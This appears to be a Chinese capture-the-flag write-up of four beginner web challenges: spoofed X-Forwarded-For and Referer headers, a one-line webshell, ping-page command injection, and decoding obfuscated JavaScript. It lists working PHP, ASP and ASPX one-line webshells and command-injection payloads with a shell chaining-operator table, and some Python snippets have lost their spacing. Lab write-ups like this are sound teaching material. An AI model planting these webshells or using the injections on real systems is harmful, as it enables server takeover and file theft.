xff_referer
访问url:
http://111.200.241.244:43718/
题目告诉我们是xff_referer,猜测是与xff和referer相关,打开环境看看
我们分析一下协议
Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。
X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。
构造payload:
X-Forwarded-For:123.123.123.123
页面提示必须来自https://www.google.com
继续构造payload:
Referer:https://www.google.com
得到flag为
webshell
访问url:
http://111.200.241.244:48578/
看到是一句话木马,连接密码是shell
常用的一句话木马有:
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以使用菜刀进行连接
得到flag为cyberpeace{3dffde669e47bfaaa521bbbba1f075b1}
command_execution
访问url:
http://111.200.241.244:35407/
本题给了我们一个ping页面,我们尝试ping了本机地址127.0.0.1之后回显信息
页面回显ping -c 3 127.0.0.1 ,这里提示我们这是linux系统,ping三次。我们尝试使用linux命令执行,同时执行多条命令
127.0.0.1;ls
发现有回显
补充知识:
(1)find / -name httpd.conf #在根目录下查找文件httpd.conf,表示在整个硬盘查找
(2)find /etc -name httpd.conf #在/etc目录下文件httpd.conf
(3)find /etc -name 'srm' #使用通配符*(0或者任意多个)。表示在/etc目录下查找文件名中含有字符串'srm'的文件
(4)find . -name 'srm*' #表示当前目录下查找文件名开头是字符串'srm'的文件
| 常见连接符 | 举例 | 效果 |
| -------------- | -------- | --------------------------- |
| ; | A;B | 先执行A,再执行B |
| & | A&B | 简单拼接,A B之间无制约关系 |
| | | A|B | 显示B的执行结果 |
| && | A&&B | A执行成功,然后才会执行B |
| || | A||B | A执行失败,然后才会执行B |
尝试寻找带有flag的文件
127.0.0.1;find / -name flag.txt
发现flag.txt文件,我们去查看一下
构造payload:
127.0.0.1;cat /home/flag.txt
得到flag为cyberpeace{a120a656a36cbc00c6e2b288b06564b1}
simple_js
访问url:
http://111.200.241.244:58529/
打开题目,题目名字告诉我们和js有关
怎么输入密码都不对,我们就开始审计代码
functiondechiffre(pass_enc){
varpass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
vartab=pass_enc.split(',');
vartab2=pass.split(',');vari,j,k,l=0,m,n,o,p="";i=0;j=tab.length;
k=j+ (l) + (n=0);
n=tab2.length;
for(i= (o=0); i< (k=j=n); i++ ){o=tab[i-l];p+=String.fromCharCode((o=tab2[i]));
if(i==5)break;}
for(i= (o=0); i< (k=j=n); i++ ){
o=tab[i-l];
if(i>5&&i<k-1)
p+=String.fromCharCode((o=tab2[i]));
}
p+=String.fromCharCode(tab2[17]);
pass=p;returnpass;
}
String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));
h=window.prompt('Enter password');
alert( dechiffre(h) );
发现有个可疑的变量和dechiffre后面跟着的字符串。尝试解码一下pass
脚本如下:
string = "x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"
s_list = string.split(",")
res = ""
foriins_list:
i = chr(int(i))
res += i
print(res)
得到flag为Cyberpeace{786OsErtk12}
脚本如下
s=[55,56,54,79,115,69,114,116,107,49,50]
d=""
foriins:
b=chr(i)
d=d+b
print(d)
print(d)
攻防交流群
声明
免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(儒道易行):【攻防世界】新手练习区(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论